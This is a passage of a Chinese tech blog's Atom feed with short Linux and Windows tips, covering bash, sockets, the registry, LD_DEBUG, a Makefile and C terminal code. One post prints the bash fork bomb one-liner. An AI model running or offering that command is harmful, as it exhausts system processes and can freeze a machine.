href='http://kpld.blogspot.com/feeds/1223176561675502569/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=1223176561675502569' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/1223176561675502569'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/1223176561675502569'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2008/04/linuxx.html' title='Linux启动多个X'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-3807889279111666729</id><published>2008-04-11T17:58:00.000+08:00</published><updated>2010-09-30T10:40:27.355+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>bash 中的 fork 炸弹</title><content type='html'>&lt;div&gt;:() { :|:&amp;amp; }; :&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;a href="http://www.ibm.com/developerworks/cn/linux/l-cn-bashrecur/"&gt;http://www.ibm.com/developerworks/cn/linux/l-cn-bashrecur/&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-3807889279111666729?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/3807889279111666729/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=3807889279111666729' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/3807889279111666729'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/3807889279111666729'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2008/04/bash-fork.html' title='bash 中的 fork 炸弹'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-1339854773509390909</id><published>2008-04-10T01:39:00.000+08:00</published><updated>2010-09-30T10:40:27.322+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>bash的冒号用法</title><content type='html'>&lt;div&gt;冒号(:)命令是bash的内建命令，通常把它看作true命令。bash的help解释（help :）为：No effect; the command does nothing.  A zero exit code is returned.（没有效果，该命令是空操作，退出状态总是0）。&lt;/div&gt;&lt;br/&gt;&lt;div&gt;用途 &lt;/div&gt;&lt;br/&gt;&lt;div&gt;1、注释&lt;/div&gt;&lt;br/&gt;&lt;div&gt;: this is comment&lt;/div&gt;&lt;br/&gt;&lt;div&gt;: ' this is a multiple&lt;br /&gt;lines comment.'&lt;/div&gt;&lt;br/&gt;&lt;div&gt;将注释作为参数传递给冒号命令， 因为没有输出所以可以当作注释阿，够巧妙吧。&lt;/div&gt;&lt;br/&gt;&lt;div&gt;2、清空文件&lt;/div&gt;&lt;br/&gt;&lt;div&gt;: &amp;gt; file&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-1339854773509390909?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/1339854773509390909/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=1339854773509390909' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/1339854773509390909'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/1339854773509390909'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2008/04/bash.html' title='bash的冒号用法'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-6824096772335120121</id><published>2008-04-09T23:15:00.000+08:00</published><updated>2010-09-30T10:40:27.287+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>Unix编程的port占用问题</title><content type='html'>&lt;p&gt;在Linux下编写网络程序，当网络服务进程关掉的时候，再立即启动该服务，会有错误提示说port被占用了，监听失败。&lt;br/&gt;&lt;p&gt;《unix 网络编程》第二章 2.7介绍了TIME_WAIT状态，这个状态时间是TCP里最长的，是二倍MSL时间，大约在1-4分钟。&lt;br/&gt;&lt;div&gt;这样的问题是可以解决的，使用SO_REUSEADDR    enables local address reuse，可以在TIME_WAIT状态下使用相同的PORT。&lt;/div&gt;&lt;br/&gt;&lt;div&gt;int reuser_addr = 1;&lt;br /&gt; ::setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (const void*)&amp;amp;reuse_addr, sizeof(reuse_addr));&lt;/div&gt;&lt;br/&gt;&lt;div&gt;SO_REUSEADDR 的用途除了上面这种情况，还有三种分别是：&lt;br /&gt;*)在多网卡的时候，多进程可以使用不同IP，相同PORT。&lt;br /&gt;*)与上条差不多，在单进程使用使用不同IP，相同PORT。&lt;br /&gt;*)在UDP广播的时候，可以在相同IP和PORT下使用，TCP则不行。&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-6824096772335120121?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/6824096772335120121/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=6824096772335120121' title='1 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/6824096772335120121'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/6824096772335120121'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2008/04/unixport.html' title='Unix编程的port占用问题'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-327209414887476241</id><published>2008-03-16T01:35:00.000+08:00</published><updated>2010-09-30T10:40:27.272+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>几个Windows软件的问题</title><content type='html'>&lt;div&gt;Office XP菜单栏中的“文件”列表没有最近使用的文件，修改这里即可：&lt;/div&gt;&lt;br/&gt;&lt;div&gt;在HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer 分支下找到一个名为“ NoRecentDocsMenu ”的二进制值，将它删除或者将值改为 0 即可&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;Office2003、VS2003、VS2005、VS2008的起始页面中的Recent Projects栏目中并未显示最近加载的项目，“文件”菜单列表中也没有最近使用的项目，修改这里即可：&lt;/div&gt;&lt;br/&gt;&lt;div&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer   &lt;/div&gt;&lt;br/&gt;&lt;div&gt;将  NoRecentDocsHistory    设置为   0  &lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;VS2003的“最近的项目”在注册表中的位置：&lt;br /&gt;HKEY_CURRENT_USER\Software\Microsoft\VisualStudio\7.1\ProjectMRUList&lt;/div&gt;&lt;br/&gt;&lt;div&gt;VS2005的“最近的项目”在注册表中的位置：&lt;br /&gt;HKEY_CURRENT_USER\Software\Microsoft\VisualStudio\8.0\ProjectMRUList&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;ZendStudio-5.5.0安装后不能设置中文界面&lt;br /&gt;WINDOWS下在C:\Documents and Settings\（你当前的系统用户名）\ZDE\&lt;br /&gt;目录里的desktop_options.xml文件，打开后找到下面这段  &lt;/div&gt;&lt;br/&gt;&lt;div&gt;&amp;lt;customized_property ID=&amp;quot;desktop.language&amp;quot;&amp;gt;&lt;br /&gt;  &amp;lt;locale language=&amp;quot;en&amp;quot; country=&amp;quot;&amp;quot; variant=&amp;quot;&amp;quot;/&amp;gt;&lt;br /&gt; &amp;lt;/customized_property&amp;gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;更改为&lt;br /&gt; &amp;lt;customized_property ID=&amp;quot;desktop.language&amp;quot;&amp;gt;&lt;br /&gt;  &amp;lt;locale language=&amp;quot;zh&amp;quot; country=&amp;quot;CN&amp;quot; variant=&amp;quot;&amp;quot;/&amp;gt;&lt;br /&gt; &amp;lt;/customized_property&amp;gt;&lt;br /&gt;保存后启动ZendStudio，中文界面就出现了！&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-327209414887476241?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/327209414887476241/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=327209414887476241' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/327209414887476241'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/327209414887476241'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2008/03/windows.html' title='几个Windows软件的问题'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-407729870978527560</id><published>2008-02-25T20:39:00.000+08:00</published><updated>2010-09-30T10:40:27.256+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>查看软链接的最终指向</title><content type='html'>&lt;div&gt;readlink -f foo 即可查看foo最终指向的文件&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;a href="http://www.pixelbeat.org/cmdline_zh_CN.html"&gt;http://www.pixelbeat.org/cmdline_zh_CN.html&lt;/a&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-407729870978527560?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/407729870978527560/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=407729870978527560' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/407729870978527560'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/407729870978527560'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2008/02/blog-post.html' title='查看软链接的最终指向'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-9123918454578955328</id><published>2008-02-20T20:20:00.000+08:00</published><updated>2010-09-30T10:40:27.233+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>PuTTY登录设置的批量备份导出/导入</title><content type='html'>&lt;div&gt;导出：&lt;/div&gt;&lt;br/&gt;&lt;div&gt;REG EXPORT HKEY_CURRENT_USER\Software\SimonTatham SESSION.REG&lt;/div&gt;&lt;br/&gt;&lt;div&gt;双击SESSION.REG即可导入&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-9123918454578955328?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/9123918454578955328/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=9123918454578955328' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/9123918454578955328'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/9123918454578955328'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2008/02/putty.html' title='PuTTY登录设置的批量备份导出/导入'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-7491481808899490671</id><published>2008-01-03T17:26:00.000+08:00</published><updated>2010-09-30T10:40:27.218+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>两个常用命令</title><content type='html'>&lt;div&gt;iconv：转换文件编码&lt;/div&gt;&lt;br/&gt;&lt;div&gt;convmv：转换文件名编码&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-7491481808899490671?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/7491481808899490671/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=7491481808899490671' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/7491481808899490671'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/7491481808899490671'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2008/01/blog-post.html' title='两个常用命令'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-5672115208866624217</id><published>2007-12-22T01:44:00.000+08:00</published><updated>2010-09-30T10:40:27.203+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>Linux下LD_DEBUG的使用</title><content type='html'>&lt;div&gt;利用 LD_DEBUG 这个环境变量可以清楚的看到解析过程&lt;br /&gt;LD_DEBUG=help ls&lt;br /&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;Valid options for the LD_DEBUG environment variable are:&lt;/div&gt;&lt;br/&gt;&lt;div&gt;  libs        display library search paths&lt;br /&gt;  reloc       display relocation processing&lt;br /&gt;  files       display progress for input file&lt;br /&gt;  symbols     display symbol table processing&lt;br /&gt;  bindings    display information about symbol binding&lt;br /&gt;  versions    display version dependencies&lt;br /&gt;  all         all previous options combined&lt;br /&gt;  statistics  display relocation statistics&lt;br /&gt;  unused      determined unused DSOs&lt;br /&gt;  help        display this help message and exit&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;To direct the debugging output into a file instead of standard output&lt;br /&gt;a filename can be specified using the LD_DEBUG_OUTPUT environment variable.&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;br /&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;看符号解析过程就用&lt;br /&gt;LD_DEBUG=symbols ls&lt;br /&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-5672115208866624217?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/5672115208866624217/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=5672115208866624217' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/5672115208866624217'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/5672115208866624217'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2007/12/linuxlddebug.html' title='Linux下LD_DEBUG的使用'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-1423276919382447501</id><published>2007-08-27T17:51:00.000+08:00</published><updated>2010-09-30T10:40:27.185+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>我的gentoo图片</title><content type='html'>&lt;div&gt;&lt;a href="http://picasaweb.google.com/kpld8888/Gentoo"&gt;http://picasaweb.google.com/kpld8888/Gentoo&lt;/a&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-1423276919382447501?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/1423276919382447501/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=1423276919382447501' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/1423276919382447501'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/1423276919382447501'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2007/08/gentoo.html' title='我的gentoo图片'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-9134103164415917204</id><published>2007-03-10T00:49:00.000+08:00</published><updated>2010-09-30T10:40:27.157+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>一个Makefile的例子</title><content type='html'>&lt;pre&gt;&lt;font color="#008000"&gt;&lt;span&gt;# 配置部分&lt;br/&gt;# 下面的变量可以在shell 的环境变量里面指定。&lt;br/&gt;# 也可以象下面这样在 Makefile 里面指定。&lt;br/&gt;# CC=gcc                      # 编译器&lt;br/&gt;# CFLAGS=-Wall -Werror -g     # 编译器参数&lt;br/&gt;# LD=gcc                      # 连接器参数&lt;br/&gt;# LDFLAGS= $(&lt;/span&gt;&lt;span&gt;&lt;span&gt;LIBS&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;span&gt;&lt;font color="#008000"&gt;)  -lpthread # 连接器参数&lt;br/&gt;# DEPENDFLAG=-MM              # 生成依赖关系文件的参数&lt;br/&gt;# INCLUDES=-Idir1 -Idir2      # 指明包含外部头文件的目录&lt;br/&gt;# LIBS=-la -lb -lc            # 指明引用外部的苦文件&lt;br/&gt;&lt;/font&gt;&lt;/span&gt;&lt;span&gt;&lt;font color="#993300"&gt;CFLAGS&lt;/font&gt;&lt;/span&gt;:=$(&lt;span&gt;CFLAGS&lt;/span&gt;) $(&lt;span&gt;INCLUDES&lt;/span&gt;)&lt;br/&gt;&lt;span&gt;&lt;font color="#993300"&gt;LDFLAGS&lt;/font&gt;&lt;/span&gt;:=$(&lt;span&gt;LDFLAGS&lt;/span&gt;) $(&lt;span&gt;LIBS&lt;/span&gt;)&lt;br/&gt;&lt;br/&gt;&lt;span&gt;&lt;font color="#008000"&gt;#指明项目中,包含源程序的所有的子目录。&lt;/font&gt;&lt;br/&gt;&lt;/span&gt;&lt;span&gt;&lt;font color="#993300"&gt;SRCDIRS&lt;/font&gt;&lt;/span&gt;=.&lt;br/&gt;&lt;span&gt;&lt;font color="#008000"&gt;#指明最终生成的可执行文件的名称&lt;br/&gt;&lt;/font&gt;&lt;/span&gt;&lt;span&gt;&lt;font color="#993300"&gt;PROGRAMS&lt;/font&gt;&lt;/span&gt;=test.exe&lt;br/&gt;&lt;br/&gt;&lt;font color="#008000"&gt;&lt;span&gt;#下面的部分一般不用改动&lt;br/&gt;&lt;/span&gt;&lt;br/&gt;&lt;/font&gt;&lt;span&gt;&lt;font color="#008000"&gt;#从所有子目录中得到源代码的列表&lt;br/&gt;&lt;/font&gt;&lt;/span&gt;&lt;span&gt;&lt;font color="#800000"&gt;SRCS&lt;/font&gt;&lt;/span&gt;=$(foreach dir,$(&lt;span&gt;SRCDIRS&lt;/span&gt;),$(wildcard $(&lt;span&gt;dir&lt;/span&gt;)/*.c))&lt;br/&gt;&lt;br/&gt;&lt;span&gt;&lt;font color="#008000"&gt;#得到源代码对应的目标文件的列表&lt;br/&gt;&lt;/font&gt;&lt;/span&gt;&lt;span&gt;&lt;font color="#800000"&gt;OBJS&lt;/font&gt;&lt;/span&gt;=$(&lt;span&gt;SRCS&lt;/span&gt;:.c=.o)&lt;br/&gt;&lt;br/&gt;&lt;span&gt;&lt;font color="#008000"&gt;#得到源代码对应的依赖关系文件的列表&lt;br/&gt;#依赖关系文件就是一个目标文件依赖于&lt;br/&gt;#哪些头文件和源程序，依赖关系是自动&lt;br/&gt;#生成的，并且用 include 语句包含在&lt;br/&gt;#Makefile 中。&lt;br/&gt;&lt;/font&gt;&lt;/span&gt;&lt;span&gt;&lt;font color="#800000"&gt;DEPENDS&lt;/font&gt;&lt;/span&gt;=$(&lt;span&gt;SRCS&lt;/span&gt;:.c=.d)&lt;br/&gt;&lt;br/&gt;&lt;span&gt;&lt;font color="#008000"&gt;#指明默认目标是生成最终可执行文件。&lt;br/&gt;&lt;/font&gt;&lt;/span&gt;&lt;span&gt;&lt;font color="#0000ff"&gt;all&lt;/font&gt;&lt;/span&gt;: $(&lt;span&gt;PROGRAM&lt;/span&gt;)&lt;br/&gt;&lt;br/&gt;&lt;span&gt;#生成依赖关系文件&lt;br/&gt;&lt;/span&gt;&lt;span&gt;&lt;font color="#0000ff"&gt;%.d&lt;/font&gt;&lt;/span&gt;:%.c&lt;br/&gt;        $(&lt;span&gt;CC&lt;/span&gt;) $(&lt;span&gt;DEPENDFLAG&lt;/span&gt;) $(&lt;span&gt;CFLAGS&lt;/span&gt;)  $&lt;span&gt;&amp;lt;&lt;/span&gt; |\&lt;br/&gt;        sed &lt;span&gt;&amp;quot;s?\\(.*\\):?$(basename $&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;).o $(basename $&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;).d :?g&amp;quot;&lt;/span&gt; \&lt;br/&gt;        &amp;gt; $&lt;span&gt;@&lt;/span&gt; || $(&lt;span&gt;RM&lt;/span&gt;) $&lt;span&gt;@&lt;/span&gt;&lt;br/&gt;&lt;br/&gt;&lt;font color="#0000ff"&gt;&lt;span&gt;$(&lt;/span&gt;&lt;span&gt;&lt;span&gt;PROGRAMS&lt;/span&gt;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/font&gt;: $(&lt;span&gt;OBJS&lt;/span&gt;)&lt;br/&gt;        $(&lt;span&gt;CC&lt;/span&gt;) $(&lt;span&gt;LDFLAGS&lt;/span&gt;) -o $&lt;span&gt;@&lt;/span&gt; $(filter %.o ,$&lt;span&gt;+&lt;/span&gt;)&lt;br/&gt;&lt;br/&gt;&lt;span&gt;&lt;font color="#008000"&gt;# 包含入依赖关系文件&lt;br/&gt;&lt;/font&gt;&lt;/span&gt;&lt;span&gt;&lt;font color="#ff00ff"&gt;include&lt;/font&gt;&lt;/span&gt; $(&lt;span&gt;DEPENDS&lt;/span&gt;)&lt;br/&gt;&lt;br/&gt;&lt;span&gt;&lt;font color="#008000"&gt;# 删除生成的中间文件&lt;br/&gt;&lt;/font&gt;&lt;/span&gt;&lt;span&gt;&lt;font color="#0000ff"&gt;clean&lt;/font&gt;&lt;/span&gt;:&lt;br/&gt;        rm $(&lt;span&gt;OBJS&lt;/span&gt;) $(&lt;span&gt;DEPENDS&lt;/span&gt;) $(&lt;span&gt;PROGRAMS&lt;/span&gt;)&lt;br/&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-9134103164415917204?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/9134103164415917204/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=9134103164415917204' title='1 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/9134103164415917204'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/9134103164415917204'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2007/03/makefile.html' title='一个Makefile的例子'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-6398741169094433191</id><published>2007-03-08T02:19:00.000+08:00</published><updated>2010-09-30T10:40:27.138+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>linux下的getch函数与kbhit函数</title><content type='html'>&lt;div&gt;&lt;font color="#008000"&gt;// 在linux下需要修改terminal的属性&lt;/font&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;#include &amp;lt;termios.h&amp;gt;&lt;br /&gt;#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;#include &amp;lt;assert.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;#include &amp;lt;sys/ioctl.h&amp;gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;#include &amp;lt;sys/time.h&amp;gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;#include &amp;lt;sys/types.h&amp;gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;#undef TERMIOSECHO&lt;/div&gt;&lt;br/&gt;&lt;div&gt;#define TERMIOSFLUSH&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;font color="#008000"&gt;/*&lt;br /&gt; * kbhit() -- a keyboard lookahead monitor&lt;br /&gt; *&lt;br /&gt; * returns the number of characters available to read&lt;br /&gt; */&lt;/font&gt;&lt;br /&gt;&lt;font color="#0000ff"&gt;static &lt;/font&gt;&lt;font color="#0000ff"&gt;int &lt;/font&gt;kbhit ( &lt;font color="#0000ff"&gt;void &lt;/font&gt;)&lt;br /&gt;{&lt;br /&gt;    &lt;font color="#0000ff"&gt;struct &lt;/font&gt;timeval tv;&lt;br /&gt;    &lt;font color="#0000ff"&gt;struct &lt;/font&gt;termios old_termios, new_termios;&lt;br /&gt;    &lt;font color="#0000ff"&gt;int            &lt;/font&gt;error;&lt;br /&gt;    &lt;font color="#0000ff"&gt;int            &lt;/font&gt;count = &lt;font color="#ff0000"&gt;0&lt;/font&gt;;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;    tcgetattr( &lt;font color="#ff0000"&gt;0&lt;/font&gt;, &amp;amp;old_termios );&lt;br /&gt;    new_termios              = old_termios;&lt;br /&gt;&lt;font color="#008000"&gt;    /*&lt;br /&gt;     * raw mode&lt;br /&gt;     */&lt;/font&gt;&lt;br /&gt;    new_termios.c_lflag     &amp;amp;= ~ICANON;&lt;br /&gt;&lt;font color="#008000"&gt;    /*&lt;br /&gt;     * disable echoing the char as it is typed&lt;br /&gt;     */&lt;/font&gt;&lt;br /&gt;    new_termios.c_lflag     &amp;amp;= ~ECHO;&lt;br /&gt;&lt;font color="#008000"&gt;    /*&lt;br /&gt;     * minimum chars to wait for&lt;br /&gt;     */&lt;/font&gt;&lt;br /&gt;    